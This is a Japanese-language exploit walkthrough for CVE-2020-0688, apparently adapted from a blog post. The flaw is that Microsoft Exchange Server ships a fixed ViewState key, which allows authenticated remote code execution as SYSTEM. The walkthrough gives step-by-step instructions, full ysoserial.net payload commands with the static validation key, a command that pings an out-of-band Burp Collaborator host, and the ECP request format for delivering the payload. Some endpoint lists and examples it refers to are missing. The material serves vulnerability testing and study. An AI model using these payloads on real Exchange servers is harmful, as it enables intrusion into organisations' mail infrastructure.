
[CVE-2020-0688] Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 (RCE)
[CVE-2020-0688] Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 (RCE)
インストールごとにランダムに生成されたキーを使用する代わりに、すべてのMicrosoft Exchange Serverインストールは、web.config内で同じ validationKey と decryptionKey の値を持っています。そのため、認証された攻撃者は、悪意を持って作成されたViewStateデータを逆シリアル化するようにサーバーを騙すことができます。YSoSerial.net の助けを借りて、攻撃者はSYSTEM権限で実行されるExchange Control Panel (ECP) Webアプリケーションのコンテキストで、サーバー上で任意の.NETコードを実行できます。
ステップ1: 以下のエンドポイントのいずれかにアクセスし、認証ページにアクセスします
ステップ2: 資格情報でログインし(ユーザーアカウント権限は問わない)、HTTP応答のCookieから有効な ASP_NET_SessionId を、HTTP応答本文から有効な __VIEWSTATEGENERATOR の値をそれぞれ取得します。例えば
ステップ3: ペイロードを生成するために(脆弱性を確認するため)、YSoSerial.net を使用します
なお、被害者のExchangeサーバーにアクセスできる場合は、以下のペイロードを使用して、C:\ ディレクトリに PoC.txt という名前のテキストファイルを作成できます。
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
ただし、サーバーにアクセスできない場合は、次の方が良いでしょう。
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
ステップ4: ステップ4の後、URLエンコードされたViewStateペイロードが得られます。以下のエンドポイントに次の形式でGETリクエストを送信します
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
元のブログ記事はこちらでご覧いただけます。